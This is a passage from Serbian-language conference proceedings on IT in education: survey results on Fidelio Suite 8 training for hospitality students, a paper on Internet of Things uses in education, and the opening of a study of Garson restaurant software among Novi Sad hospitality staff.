U sledećem koraku sproveden je t-test nezavisnih uzoraka sa ciljem da se utvrdi da li postoju statistički značajna razlika između muškaraca i žena po pitanju tvrdnji vezanih za korišćenje i značaj programa Micros-Fidelio Suite 8. Test je pokazao značajnu razliku samo u slučaju dve tvrdnje: *Smatram da je obuka za korišćenje ovakvih softvera nepotrebna na fakultetu i Pojedini simboli koji postoje me zbunjuju, nisu dobro predstavljeni*. Muškarci su ostvarili više skorove u odnosu na oba pitanja, što znači da muškarci, za razliku od žena, više smatraju da je obuka za korišćenje ovakvih softvera nepotrebna fakultetu, kao i da pojedini simboli nisu dobro predstavljeni. Rezultati su prikazani u Tabeli 3.



Tvrdnje	М	Stand- ardna devijacija
Obuka za korišćenje softvera omogućava studentima bolje pozicioniranje i lakše zaposlenje u struci.	4,18	1,073
Obuka za korišćenje softvera omogućava studentima sticanje samopouzdanja za budući rad u struci.	4,18	0,970
Odluka Fakulteta da u nastavni plan i program, u okviru predmeta Hotelska prodaja i recepcijsko poslovanje, uključi obaveznu obuku za korišćenje softvera Fidelio Suite 8, u skladu je sa najnovijim trendovima u obrazovanju iz oblasti hotelijerstva.	4,49	1,023
Softverski paket je jednostavan za korišćenje.	4,03	1,013
Softverski paket predstavlja inovaciju i proizvod moderne tehnologije.	4,13	1,080
Sve opcije ovog sistema su lake za savladavanje.	3,97	1,063
Ovaj sistem je brz i efikasan.	4,23	0,986
Pronalaženje podataka je lako u aplikacijama koje se koriste.	4,13	1,056
Aplikacije koje se koriste usklađene su sa zadacima koji treba da se obavljaju u svakodnevnom poslovanju.	4,36	0,903
Softver može da podrži sve što radni proces zahteva.	4,36	0,959
Dobijanje informacija iz ovog sistema na vreme unapređuje rad zaposlenih u hotelu.	4,38	0,935
Ovaj sistem je dizajniran za sve nivoe korisnika.	4,13	1,005
Omogućeno je kreiranje raznovrsnih izveštaja i statistika.	4,44	0,940
Dodeljivanje VIP statusa klijentima i pronalaženje istih u sistemu je jednostavno i brzo.	4,46	0,854
Fleksibilan je prilikom naplate zaduženja.	4,44	0,968
Omogućava uvid u strukturu svih podataka u svakom trenutku.	4,49	0,854
Ikonice koje su korišćene olakšavaju snalaženje korisnicima.	4,31	1,030
Obuka je dobro organizovana.	4,13	1,239
Zadovoljan sam prikazom simbola koji postoje.	4,15	0,933
Pojedini simboli koji postoje me zbunjuju, nisu dobro predstavljeni.	2,90	1,392

Korišćenje ovog softverskog sistema u hotelijerstvu doprinosi uštedi vremena.	4,26	0,938
Korišćenje ovog softverskog sistema u hotelijerstvu doprinosi uštedi materijalnih sredstava.	4,44	0,912
Zadovoljan sam primenom softverskog sistema.	4,38	0,963
Imao/Imala sam averziju prema obuci za korišćenje softvera.	2,69	1,490
Smatram da je obuka za korišćenje ovakvih softvera nepotrebna na fakultetu.	2,00	1,539

Tabela 2. Srednje vrednosti odgovora na tvrdnje u vezi sa značajem i upotrebom programa Fidelio Suite 8.

	t	Sig.	Mean Differ- ence
Smatram da je obuka za korišćenje ovakvih softvera nepotrebna na fakultetu.	3,364	0,002	1,578
Pojedini simboli koji postoje me zbunjuju, nisu dobro predstavljeni.	3,711	0,001	1,878

Tabela 3. Rezultati t-testa nezavisnih uzoraka.

Istraživanje je, takođe, pokazalo da su studenti hotelijerstva ostvarili statistički značajno veće ocene na testu (p<0,05) od studenata turizma, kao i da su žene uspešnije od muškaraca (p<0,01), odnosno da na testu ostvaruju veći broj bodova.

3. ZAKLJUČAK

Savremene informacione tehnologije dovode do promena u načinu poslovanja u hotelijerstvu. Tehnološki razvoj, naročito na području informacione tehnologije, već je u znatnoj meri transformisao hotelsko poslovanje i odnos zaposlenih prema gostima. Dosadašnja iskustva pokazuju da je u hotelijerstvu sposobnost prilagođavanja hotelskog menadžmenta i uslužnog osoblja u celini, odlučujući faktor u pozitivnom reagovanju na uvođenje informacione tehnologije. Ovo prilagođavanje moguće je postići sveobuhvatnim obrazovanjem koje se mora periodično ponavljati, shodno razvoju informacione tehnologije. U vezi sa tim, obrazovne institucije moraju staviti veći akcenat na praktičnu primenu znanja, odnosno na osposobljavanje studenata u skladu sa aktuelnim zahtevima tržišta rada (poslodavaca). Korist od ovakvog pristupa obrazovanju je višestruka i multiplikujuća. Fakulteti postaju konkurentniji i prepoznatljiviji, studenti spremniji za rad, a poslodavci dobijaju kvalifikovan kadar, u ovom slučaju iz oblasti hotelijerstva, koji je inače deficitaran.

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INFORMATION TECHNOLOGY IN EDUCATION

POTENCIJALNE MOGUĆNOSTI PRIMENE INTERNETA STVARI U OBRAZOVANJU

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Tehnologija predstavlja samo jedan od mnogih problematičnih uticaja u obrazovanju. Živimo u eri u kojoj bogatstvo podataka i eksponencijalni rast u razvoju novih znanja predstavlja izazov za institucije da preispitaju podučavanje i učenje na globalnom tržištu. Pored toga, postoji potreba da se student pripremi za sve veću konkurenciju na radnom mestu. Sa novom tehnologijom kao katalizatorom, obrazovanje prelazi sa modela prenošenje znanja na model kolaboracije, aktivnosti, samostalnog usmeravanja i angažovanja, takav da pomogne studentima da povećaju svoje znanje i razviju veštine potrebne za uspeh u "društvu koje uči". Razna istraživanja pokazuju da studenti uče tako što su aktivno angažovani u relevantnim i autentičnim aktivnostima, a tehnologija je ta koja ovo omogućava. Studenti takođe postaju sve veštiji u korišćenju društvenih mreža kao što su YouTube i Facebook, za razmenjivanje poruka, postavljanje videa, blogova ili slika, i za kolaboraciju i druženje bez obzira na vreme i mesto. Svakako, tu je i upotreba softverskih aplikacija za stvaranje ili interakciju sa sadržajem. Sve više učionica postaju "otvorene" putem videa, glasa ili tekstualnih poruka, dok se nastavnicima na raspolaganje stavlja široki opseg višemodalnih resursa za poboljšanje nastave. Pored sve savremenijeg shvatanja kako mozak funkcioniše i kako se učenje odvija, rešenja sa integrisanim tehnologijama, kao što su multimedija, igre i animacija, imaju značajnu ulogu u skraćivanju vremena za savladavanje i razumevanje nastavnog sadržaja. Sve više ljudi prihvata nove tehnologije za učenje, zbog čega će oni napredovati u svetu koji nastaje - u svetu Interneta svega, koji predstavlja mrežnu povezanost ljudi, procesa, podataka i objekata.

Ključne reči:

internet, obrazovanje, tehnologija, virtualna nastava.

1. UVOD

Internet stvari (engl. *Internet of Things, IoT*) predstavlja vezu raznovrsnih uređaja (različitih od standardnih proizvoda kao što su računari i pametni telefoni) i interneta. Ova veza dovodi do procesa transformacije brojnih oblasti u našem svakidašnjem životu. Možda ne izgleda kao očigledna primena, ali na listi IoT nalazi se i obrazovanje. Internet se duboko ukorenio u školama širom sveta, a *e-learning* postala je praksa u školama razvijenih zemalja (posebno u američkim školama). Međutim, primene IoT u

obrazovanju su brojne, a posledice ovoga ogromne. Uspon mobilne tehnologije i IoT omogućava bolju bezbednost u školama, praćenje resursa i poboljšan pristup informacijama. Predavačima je omogućeno da koriste ovu tehnologiju radi kreiranja "pametnijih nastavnih planova", umesto tradicionalnih, pasivnih.

Internet svega (engl. *Internet of Everything, IoE*) trebalo bi da bude naredni korak u evoluciji pametnih stvari, pri čemu je nejasna veza između fizičkih objekata i digitalne informacije o tom objektu [1]. Međutim, IoT se bavi samo senzorima mreže, što omogućava da mašine međusobno komuniciraju, pri čemu kao rezultat nastaje podatak.

IoT u visokom obrazovanju

Internet stvari počinje da narušava proces obrazovanja već u osnovnim školama. U razvijem zemljama već u predškolskom uzrastu, pa sve do kraja srednjeg obrazovanja. Međutim, najznačajniji efekti javljaju se u visokom obrazovanju. Studenti, najčešće u višim školama, sve više prelaze sa štampanih knjiga na tablete i laptopove. Uz svu dostupnu, potrebnu informaciju, studenti sada uče svojim tempom, a imaju gotovo identično iskustvo radeći od kuće ili u učionici. Sa jedne strane ovaj trend studentima omogućava više pogodnosti, sa druge strane proces učenja je efikasniji za profesore. Napredak u povezanosti tehnologije znači da nastavnici ne moraju ručno da pregledaju testove (pisane radove) ili da obavljaju druge rutinske zadatke. Umesto toga, nastavnici sada mogu da se fokusiraju na stvarnu, ličnu poduku koja je najznačajnija studentima. Uređaji povezani sa cloud-om omogućavaju profesorima da prikupe podatke o svojim studentima, a zatim da procene kome treba da posvete više pažnje. Ova statistika takođe omogućava profesorima da adekvatno pripreme plan nastave za buduće lekcije.

Izvan učionice, škole i univerziteti mogu da koriste povezane uređaje radi praćenja svojih studenata, zaposlenih, kao i resursa i opreme. Dramatičan pad cena za snagu procesiranja (procesori, CPU), skladištenja i opsega, sa jedne strane, kao i porast *cloud*-a, društvenih medija i mobilnih uređaja, daju mogućnost da se analiziraju veliki podaci i pretvore u svrsishodnu informaciju upravo omogućavajući ovakve primene. Ovakve mogućnosti praćenja trebalo bi da dovedu do bezbednijih okruženja. Na primer, studenti bi mogli da imaju uvid u satnice gradskog prevoza i prema tome organizuju svoje obaveze.

2. PREGLED UPOTREBE MOBILNE I DEKSTOP PLATFORME

Posmatrajući statističke podatke o upotrebi mobilnih uređaja, lako se može zaključiti kako će IoT radikalno transformisati obrazovanje kakvo nam je do sada poznato. Na Slici 1 prikazana je statistika korisnika mobilnih uređaja prema desktop uređajima u poslednjih desetak godina. Danas se sa sigurnošću može tvrditi da mobilne platforme dominiraju u internet tehnologijama.



Slika 1. Broj korisnika mobilne i desktop platforme.

Statistička obrada podataka obuhvatila je pitanja:

- 1. Vreme provedeno na internetu;
- 2. Broj korisnika koji koriste mobilne uređaje;
- Broj poseta veb-sajtovima sa mobilnih u odnosu na desktop uređaje;
- 4. Odnos upotrebe mobilnih aplikacija prema mobilnim sajtovima.

Vreme provedeno na internetu

Broj korisnika mobilne tehnologije varira tokom dana. Ovo je značajno zbog mnogih elemenata, posebno marketinga i prikazivanja medije. Prema istraživanjima *comScore Global Digital Future in Focus*, desktop je i dalje važna platforma za dnevni rad i korisnike na poslu, dok u večernjim časovima dominiraju tableti i pametni telefoni (Slika 2).

Pored toga, takođe je bitan podatak koliko vremena se provede u pretraživanju podataka pomoću pametnih telefona (Slika 3).

Na Slici 4 prikazan je dijagram prosečne upotrebe di-gitalnih medija kod populacije odraslih osoba u SAD. Pod ostalim konektovanim uređajima obuhvaćeni su OTT (*Over-The-Top content*) i igračke konzole. Mobilnim uređajima obuhvaćeni su pametni telefoni i tableti. Prikazana upotreba odnosi se radnu i vanradnu sredinu.



Slika 2. Procentualna zastupljenost upotrebe platforme tokom dana.



Slika 3. Prosečno vreme provedeno u pretraživanju na pametnim telefonima u avgustu 2016. Vreme korišćenja izraženo je u satima na mesečnom nivou [9].



Slika 4. Prosečna upotreba digitalnih medija (izvor: eMarketer 9/14 (2008-2010), eMarketer 4/15 (2011-2015)) [8].

Broj korisnika koji koriste mobilne uređaje

Na Slici 5 prikazana je Ofcom-ova analiza popularnosti digitalnih uređaja u različitim zemljama.

Pored toga, analiza koju je sproveo *comScore* pokazuje da većina potrošača koristi "multiplatformu" (Slika 6), često istražuje i pristupa sajtovima i sa mobilnog i sa desktop uređaja. To znači da je potrebno imati na umu konzistentna iskustva na različitim uređajima.







Slika 6. Statistika korišćenja različitih platformi u različitim zemljama.

Broj poseta veb-sajtovima sa mobilnih u odnosu na desktop uređaje

Svakako treba biti pažljiv pri interpretaciji podataka vezanih za provedene sate, jer se najviše vremena provodi na pametnim telefonima u proveri e-pošte i upotrebi društvenih medija. Ovo je i dovelo do čuvene "mantre" dizajniranja Mo-bile First. Ovaj pristup nije najbolje rešenje, što je u jednom intervjuu u vezi sa pristupom Mobile First potvrdio i predsed-nik Google-a, Eric Schmidt.





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Stvarnost je takva da su pametni telefoni veoma popularni za neke aktivnosti (društvene medije, slanje poruke i praćenje vesti i tračeva), dok većina "zapadnih" korisnika ima i desktop uređaje (i tablet uređaje) koje koristi za detaljnije informacije i kupovinu. Shodno tome, potrebno je razmišljati o strategijama za uključivanje u multiplatformsku većinu. Ova kombinacija proističe iz različitih potreba korisnika, kao i zbog toga što su troškovi na mobilnim mrežama mnogo niži u maloprodaji, što pokazuje analiza saobraćaja između maloprodajnih sajtova koja je generalno ista za pametne telefone i desktop uređaje.

Odnos upotrebe mobilnih aplikacija prema mobilnim sajtovima

Korisnici radije biraju mobilne aplikacije umesto mobilnih veb-sajtova. Ovo bi trebalo posmatrati kao deo mobilne strategije. Danas, prema statistici Yahoo Flurry, gotovo 90% vremena koje korisnici provedu na mobilnim uređajima, provedu koristeći aplikacije. Ovo je zaista značajan uvid jer prema ovome kompanije se radije odlučuju da kreiraju mobilnu aplikaciju ili aplikaciju specifičnu za mobilni uređaj. Prema godišnjem izveštaju "State of Mobile" vreme koje korisnici provedu koristeći mobilne aplikacije raste oko 70% iz godine u godinu. YouTube u svom izveštaju kaže da njihovi korisnici provedu milijardu sati dnevno gledajući video. U Americi, korisnici u proseku provedu 5 sati dnevno uz svoje mobilne uređaje. Prema podacima Yahoo! Flurry, američki korisnici imaju tendenciju da provode još više vremena. Prema njima, u odnosu na 2015. godinu ovo je skok od 20%. U ukupnoj upotrebi, upotreba pretraživača konstantno pada i trenutno iznosi jedva 8%.



Slika 8. Vreme provedeno na mobilnom uređaju koristeći mobilne aplikacija i pretraživače (izraženo u minutima) [7].

Na Slici 9 može se uočiti da korisnici provedu 50% vremena na društvenim mrežama, slanju poruka i aplikacijama zabave. Ovo se danas naziva komunitejnment (engl. *communitainment=communication + entertainment*). Snapchat je nova aplikacija upravo za komunitejnment (gotovo da će izgurati Viber sa tržišta), koju danas koristi 60% Amerikanaca sa 2% ukupnog dnevnog vremena. Facebook, Instagram i Whatsapp još uvek drže najveći deo vremena, posebno pošto je sada objavljen Facebook Live i Instagram Stories. Aplikacija YouTube zastupljena je 3% ukupnog provedenog vremena. Međutim, nezavisne Entertainment aplikacije su značajno pale, tako da je udeo od 14% zapravo sadržaj koji je migrirao na Youtube, Facebook i Snapchat. Ključni podatak od 92% je smernica kompanijama za odlučivanje da li razvijati mobilne aplikacije ili se ograničiti na sajtove optimizovane za mobilne uređaje.



Slika 9. Korišćenje aplikacija u ukupnom vremenu provedenom na Internetu [7].

3. BUDUĆNOST INTERNETA U OBRAZOVANJU

Posmatrajući stanje u zemljama visokog standarda u tehno¬logiji i obrazovanju, preko 70% tinejdžera ima pristup pamet¬nom telefonu. Gotovo da sve škole imaju pristup internetu, a blizu 75% studenata visokih škola koriste laptopove u eduka¬tivne svrhe. Prema svemu ovome (i prethodnoj statistici), jasno je da će IoT značajno promeniti obrazovanje kakvo da¬nas poznajemo. Po istraživanjima Capterra, oko 70% stude¬nata ima želju da koristi svoj mobilni uređaj češće u učionici, tokom nastave, a većina njih dodatno želi da ih koristi za au¬tomatizaciju zadataka, kao što je hvatanje beleški, provera rasporeda i istraživanje. Što se škola tiče, naviše koristi bi bilo u efikasnijoj uštedi energije i smanjenje operativnih troškova. Korišćenjem veb baziranih sistema koji kontrolišu svu meha¬ničku opremu unutar objekata mogu se uštedeti značajna sred¬stva. Tako, na primer, škola New Richmond iz Ohaja godišnje uštedi oko 120000 dolara [2]. Prema nekim autorima (Green¬tech Media) investicija u pametne škole najčešće se isplati već posle par godina. Ova tehnologija može da se instalira i u sta¬rijim zgradama dodavanjem senzora i drugih uređaja na posto¬jeće kontrolne panele. Ušteda na ovaj način omogućava druge investicije – računari, tableti, pametni telefoni.

IoT ima ogroman potencijal u obrazovanju. Međutim, za uspešnu implementaciju potrebno je pozabaviti se:

- 1. Zaštitom;
- 2. Integritetom podataka;
- 3. Obrazovnom politikom.

Bezbednost je veliki problem na svim tržištima, a posebno u obrazovanju. Bez bezbednosti, integrisani razvoj IoT neće biti moguć kroz obrazovne institucije. Informacije treba da budu dostupne, ali kada je potrebno i poverljive. Vlasnik informacije je taj koji će odlučivati o tome kome obezbediti pristup informacijama. Za niže obrazovanje se već nagoveštava pitanje: da li je bezbednost u domenu učenika (maloletnici) ili obrazovne ustanove? Sa koliko godina starosti učenik može da upravlja sa svojim ličnim podacima? Na ovo se nadovezuje i to u kojoj meri će zaštita uticati na mogućnost da se odluke donose na osnovu podataka. Prema ovome, neminovno se dolazi do složenih mreža ljudi i stvari u javnom i privatnom sektoru. Takvi uređaji će verovatno stvarati nove veze između ljudi i računara. Potrebno je uskladiti i uravnotežiti pozitivne strane vezane za IoT i rizike po pitanju privatnosti i bezbednosti. Nastavnici i učenici moraju da imaju bolju predstavu o etičkim pitanjima i rizicima koje nosi IoT, kao i kako da se isti smanje. Lični i opšti podaci moraju da se obrađuju na različite načine jer je potrebno ispoštovati privatnost pojedinca.

Druga stvar, integritet podataka takođe mora da se ispoštuje, kao i tačnost, autentičnost, potpunost i rokovi. Uspeh se zasniva na otvorenoj platformi koja bi omogućila da svi učesnici zajedno rade na istim baznim tehnologijama. Ministarstvo i nastavnici morali bi da sarađuju kako bi se osigurao razvoj IoT u obrazovanju. Istovremeno, Vlada i Ministarstvo treba da obezbede bezbednost i zaštitu svojih građana.

Veoma su značajne politike obrazovanja koje podstiču prihvatanje tehnologije i učionicama i njeno efektivno integrisanje u kurikulume predmeta. Za ovo je potrebna zdrava praksa upravljanja promenama u obrazovnim institucijama, jer to omogućava da se smanje prepreke za prihvatanje tehnologije i proširivanje njene primene. Za predavače je potrebno definisati edukativne programe sa IoT alatima koji bi podstakli lakše prihvatanje i pomoć za razvijanje novih metodologija i adekvatnih pedagogija za obrazovno okruženje.

5. ZAKLJUČAK

Autori ovog rada imali su nameru da prikažu zastupljenost interneta u svakodnevnom životu, kao i to da se povezivanjem uređaja i stvari preko inteligentnih mreža u obrazovanju može stvoriti veliki napredak u obrazovanju. Takođe, nagoveštava se i potencijal IoT tako što je moguće značajnije uključiti i motivisati studente/ učenike u procesu obrazovanja. Međutim, da bi sve ovo funkcionisalo i dalo korisne rezultate, potrebno je obezbediti konstantnu povezanost i dostupnost. Pored toga, predavači, obrazovne institucije i ministarstva moraju da kvalitetno pripreme teren za ovakvu primenu tehnologije u obrazovanju, ali i da znaju koji su potencijalni rizici ovakve primene.

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POTENTIALS OF THE INTERNET OF THINGS IN EDUCATION

Abstract:

Today's technology presents just another problematic influence in education. The era we live in is enriched with data and exponential growth in developing new knowledge. This is a challenge for many institutions to question the teaching and learning methods employed in their educational process. As a direct effect, this advance in technology also creates a need to improve workers' competencies in the workplace. Having this Technology Enhanced Learning (TEL) methodology, education is changing the way knowledge is gained. It is moving to a collaborative, active, self-directed and engaging model that should help students increase their knowledge and develop skills in order to succeed in a learning society. Research shows that stu¬dents learn by being actively engaged in relevant and authentic activinties, which is enhanced by technology. They also become more skilled in using social networks (e.g. YouTube, Facebook) for mes¬saging, uploading videos, blogs, images, but for collaboration and socializing as well. Use of software applications enables them to create or interact content. Classrooms are becoming more "open" thanks to video, voice or text messaging. On the other hand, teachers have at their disposal a wider range of resources to enhance teaching. As we are aware of how the brains works and how learning is done, solutions that integrate TEL (e.g. multimedia, games, animations, etc.) have an important role in shortening the time to master learning content. More and more people are adopting new technologies for learning. Eventually, they will succeed in the world of Internet of Everything, which is representing a networked connection between people, processes, data and objects.

Keywords:

internet, education, technology, virtual learning.

INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

INFORMATION TECHNOLOGY IN EDUCATION

OBUKA ZAPOSLENIH ZA PRIMENU INFORMACIONIH SISTEMA KAO FAKTOR UNAPREĐENJA POSLOVANJA U UGOSTITELJSTVU

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Rezime:

Nova tehnološka dostignuća i informacioni sistemi imaju sve veću ulogu u planiranju, organizaciji i izvršavanju operativnih zadataka u ugostiteljstvu, čineći ga jednostavnijim, efikasnijim i uspešnijim. Poslovanje i funkcionisanje ugostiteljske delatnosti zasniva se na postojanju informacija, njihovog protoka unutar sistema, kao i mogućnosti njihovog iskorišćavanja. Ovim radom biće predstavljen Garson, softverski paket za poslovanje u restoraterstvu. Takođe, biće prikazani rezultati istarživanja sprovedenog u 18 ugostiteljskih objekata u Novom Sadu. Dobijen je uzorak od 112 ispitanika obučenih za rad u softveru. Cilj rada je utvrđivanje stavova zaposlenih o programskom paketu Garson, njegovim mogućnostima, funkcionalnosti i značaju koji ima za unapređenje poslovanja ugostiteljskog objekta. Kroz sprovedeno istraživanje prikazani su i rezultati koji ukazuju na stepen zadovoljstva korisnika softverom i njegov značaj za razvoj praktičnih veština i kompetencija zaposlenih.

Ključne reči:

informacioni sistemi, Garson, edukacija zaposlenih.

1. UVOD

Od početka i nastanka ugostiteljstva, kao i većine uslužnih, privrednih i industrijskih grana, poslovanje i funkcionisanje se zasniva na postojanju informacija, protoka tih informacija unutar industrije, kao i efikasnosti i mogućnosti njihovog iskorišćavanja. Uspešno poslovanje ugostiteljskog preduzeća, na neki način, najviše se zasniva na sposobnosti menadžment tima za upravljanje informacijama i sistemom poslovanja.

Informacioni sistem može se definisati kao sistem u kome se veze između objekata i veze između sistema sa okolinom ostvaruju razmenom informacija. Informacioni sistem šire predstavlja uređeni integrisani skup podataka, procesa, interfejsa, mreža, tehnologija i ljudi koji su u međusobnoj korelaciji u cilju podrške i poboljšanja svakodnevnih poslovnih operacija [1]. Jedna od najopštijih definicija pod informacionim sistemom podrazumeva skup metoda, postupaka i resursa oblikovanih tako da bi se ostvarilo postizanje nekog cilja [2]. Uska povezanost informacionih sistema i informacionih tehnologija zasniva se na većem protoku informacija kroz i unutar sistema, na brži i efikasniji način. Dostupnost informacija i njihovo pravilno iskorišćavanje vitalno je prilikom upravljanja i organizovanja preduzeća, odnosno bilo kojeg vrsta posla [3]. Osnovne komponente informacionog sistema su: ljudi, oprema, procesi, podaci i informacioni tokovi [4]. Takođe, informacioni sistemi mogu se smatrati i organizacionim, jer im je namena prikupljanje i pružanje informacija korisnicima u jednom ili u više različitih poslovnih sistema. Informacija postaje upravljački resurs koji je podjednako važan, kao ljudski resursi ili kapital [5].

Informacione tehnologije u turizmu i ugostiteljstvu

Razvoj informacionih sistema i tehnologija u turizmu direktno je uticao na potrebu uvođenja novih sistema i tehnologija u ugostiteljstvu, ali i na isti način podstakao proizvođače da prilagode softvere i tehnologiju potrebama hotelijerskog i restoraterskog poslovanja. Povećano interesovanje velikog broja turista za korišćenjem turističkog proizvoda, i svih elemenata u sklopu tog proizvoda, imalo je za posledicu stvaranje novih sistema i tehnologija, povezanih na globalnom i internacionalnom nivou.

Primena informacione i kompjuterske tehnologije u turizmu može se posmatrati kroz četiri ključna perioda [6]:

- Period od 60-ih godina 20. veka, tzv. era prikupljanja podataka. Karakteriše je upotreba ogromnih i skupih kompjutera kojim su raspolagale velike avio-kompanije. Godine 1964. američka avio-kompanija American Airlines uvodi onlajn rezervacioni sistem za prodaju sopstvenih avio karata (SABRE).
- Period 70-ih godina 20. veka ili doba razvoja upravljačkog menadžmentskog informacionog sistema (MIS), kada se on koristi za interno upravljanje i koordinaciju.
- 3. Period 80-ih godina 20. veka karakteriše razvoj strategijskog informacionog sistema (SISs), (hotelijeri, organizatori putovanja). To je period razvoja personalnih računara (PS). U ovom periodu razvijaju se dva ključna operativna sistema (DOS, WINDOWS).
- Za period 90-ih godina 20. veka najznačajnija je pojava World Wide Web-a (www), i veliki i brz uticaj interneta na turističke delatnosti. Pojavljuju se turistički sajtovi koji se bave putovanjima (Expedia, Travelocity, Prewiew Travel).
- 5. Peti period u primeni savremene informacione i komunikacione tehnologije, obeležen je kroz razvoj interneta, mobilnih komunikacija i interaktivne digitalne televizije, koja povezuje turističku tražnju sa turističkom ponudom kao i ponude međusobno.

Gotovo sve delatnosti povezane sa turizmom i ugostiteljstvom prilagođavale su svoj način rada uvođenjem novih tehnologija i sistema potrebama modernijeg tržišta. Sve manuelne funkcije zamenjene su kompjuterizovanim, ne samo kako bi se način rada modernizovao, već i zbog potrebe tržišta i tražnje za bržom i lakšom obradom podataka. Takođe, dolazi do lakšeg uključivanja u globalne mreže svih preduzeća i industrija u turizmu. Najznačajnije forme IT u turizmu ogledaju se kroz upotrebu rezervacionih sistema, softverskih aplikacija u ugostiteljstvu, sistema za podršku upravljanja destinacijama, elektronsko posredovanje u organizaciji putovanja putem interneta, geografskih informacionih sistema, mobilnih platformi i dr.

Uz pomoć IT tehnologije obavljaju se sledeći poslovi u turizmu [2]:

- Direktni kontakt sa klijentima i partnerima: rezervacije, prijave/odjave, plaćanje;
- Kancelarijski poslovi: računovodstva, platni spiskovi, upravljanje kadrovima, marketing;
- Zabava i usluge za klijente;
- Komunikacija sa kupcima i partnerima;
- Istraživanje tržišta;
- Reakcija i upravljanje kriznim situacijama;
- Fleksibilno i dinamičko određivanje cena kroz upravljanje prihodima;
- Diferencijacija i personalizacija proizvoda;
- Kontrola pokazatelja realizacije i izgradnja mehanizma povratne veze;
- Upravljanje poslovnim procesima i osobljem i dr.

Bez šire primene automatizacije poslovnih operacija u svim sektorima rada, uključivanje hotelijerstva kao materijalne osnove turizma u globalne distributivne sisteme nije moguće. "Informatički bum", nezadrživ prodor kompjuterske tehnologije, globalno umrežavanje na svim nivoima, nametnulo je međunarodnom hotelijerstvu uspostavljanje novih standarda. Standardizacija poslovnih informacija zasnovana na kompjuterizaciji rada svih organizacionih celina u objektima hotelijerstva, odnosno automatskom registrovanju svih promena, uz obezbeđenje međusektorske komunikacije i protoka svih informacija relevantnih za poslovanje, ogleda se u uvođenju jedinstvenog sistema upravljanja objektom (Property Management System – PMS) [7]. Property Management Systems – PMS su kompjuterizovani sistemi koji softverom olakšavaju sve vrste upravljanja poslovnim procesima. Uvođenje PMS-a u hotel ima mnoge prednosti, a neke od njih su efikasnije obavljanje zadataka, pružanje preciznih informacija o okupiranosti hotela, stvaranje baze podataka, planiranje za potrebe marketinga itd. [8].

Programski paket za ugostiteljstvo Garson

Garson, programski paket kompanije 2D Soft Novi Sad, obuhvata kompletno poslovanje ugostiteljskih objekata kroz praćenje naplatnih, proizvodnih i uslužnih mesta. Namenjen je različitim vrstama ugostiteljskih objekata. Zavisno od veličine i tipa objekta, kreira se sistem sačinjen od POS aplikacija (izdavanje porudžbina, naplata), administratorskih modula (magacini, zalihe, artikli, zaposleni, VIP gosti, promocije, izveštaji) i POS opreme (fiskalni štampači i štampači za kuhinju, bar-kod skeneri, prenosivi ručni PDA računari, *touchscreen* monitori, čitači kartica). S obzirom na kriterijume, Garson pruža mogućnost korišćenja više komponenti svog softvera i oni su podeljeni na: *Garson POS, Garson Backoffice i Garson Mobile Suite*.

Garson POS podrazumeva programski operativni sistem koji se u radu ugostiteljskih objekata koristi svakodnevno. Svojim brojnim funkcijama i opcijama pruža mogućnost ugostiteljskim radnicima širok spektar operacija i olakšava im svakodnevni rad. Garson POS je program kojim se služe konobari i šankeri za kucanje porudžbina, izdavanje računa i vođenje evidencije o izdatim jelima i pićima, kao i zaduženjima gostiju i ostalih klijenata unutar objekta. Grafički prikaz restorana i rasporeda stolova, prepoznatljive slike artikala, evidencija različitih načina plaćanja, štampanje posebnih naloga za šank i kuhinju i prikaz dnevnog poslovanja garantuju na POS mestu precizan i brz rad.



Slika 1. Garson POS – radna površina softvera. Izvor: [9].

Funkcionalnosti *Garson Backoffice*-a kao samostalnog dela softvera su konfigurisanje sistema za pojedinačne objekte ili za više objekata u okviru istog preduzeća, podešavanje proizvoda, usluga, cenovnika, normativa, dodatnih opisa i ostalih osobnih artikala, mogućnost upravljanja većim brojem različitih magacina, kreiranje i podešavanje *loyalty* programa, mogućnost praćenja i kontrolisanja prodaje u ugostiteljskom objektu i dr.

Garson Mobile Suite predstavlja program ili aplikaciju za Android mobilne telephone, ili neke druge elektoronske uređaje slične namene, preko kojih se može direktno upravljati Garsonom i obavljati sve funkcije koje Garson inače omogućava. Aplikacija koju konobari, menadžeri, pa čak i gosti mogu i koriste svakodnevno u radu ili poseti restoranu, predstavlja novu dimenziju poslovanja za restorane i druge ugostiteljske objekte [10].

2. REZULTATI ISTRAŽIVANJA

Opis i metodologija istraživanja

Anketno istraživanje tehnikom "licem u lice" izvršeno je tokom 2014. i 2015. godine. Podeljeno je ukupno 200 anketa u 18 ugostiteljskih objekata u Novom Sadu (restorana, vinoteka i kafe-barova). Dobijen je uzorak od 112 validno popunjenih anketnih upitnika. Cilj istraživanja bio je utvrđivanje stavova zaposlenih u ugostiteljskim objektima o programskom paketu Garson i njegovom značaju za unapređenje poslovnih procesa.

Upitnik korišćen u ovom istraživanju sastoji se iz dva dela. Prvi deo čine pitanja koja se odnose na sociodemografske podatke ispitanika, kao i dva opšta pitanja o softverskom paketu Garson. Drugi deo upitnika sastoji se od 38 pitanja u vidu iskaza kojima se meri zadovoljstvo korisnika obukom i programskim paketom. Ispitanici su označavali stepen slaganja sa iznetim tvrdnjama zaokruživanjem jednog od brojeva na Likertovoj petostepenoj skali od 1 (*Uopšte se ne slažem*) do 5 (*U potpunosti se slažem*).

Opis uzorka

U objektima u kojima je sprovedeno istraživanje, zaposleno je više osoba muškog (67,9%) nego ženskog (32,1%) pola, što je naročito izraženo u restoranima. Što se tiče starosne dobi zaposlenih, gotovo polovina ispitanika čini starosnu grupu između 26 i 35 godina (47,3%). Najmanji broj zaposlenih pripada starosnoj grupi od 36 do 45 godina (17,9%). Što se tiče stručne spreme, najveći broj ispitanika (58%) ima završenu srednju školu, uglavnom ugostiteljsku, odnosno turističku. Višu stručnu spremu ima 33%, a visoku 8,9% ispitanika. Istraživanjem je utvrđeno da 13,4% ispitanika ima radno iskustvo u



oblasti ugostiteljstva do godinu dana. Ispitanici čije se radno iskustvo kreće od 2 do 5 godina u uzorku učestvuju sa 38,4%, a od 6 do 10 godina sa 31,3%. Ispitanici koji u ugostiteljskoj branši imaju između 11 i 15 godina radnog staža zastupljeni su sa 17%.

Na pitanje o iskustvu sa drugim softverskim paketima, 58,9% ispitanika je odgovorilo da je pre rada u Garsonu imalo prilike da radi u sličnim softverima (*Liman Soft, TokyoPos, Micros, SkyPos*).

Rezultati deskriptivne statističke analize i t-testa nezavisnih uzoraka

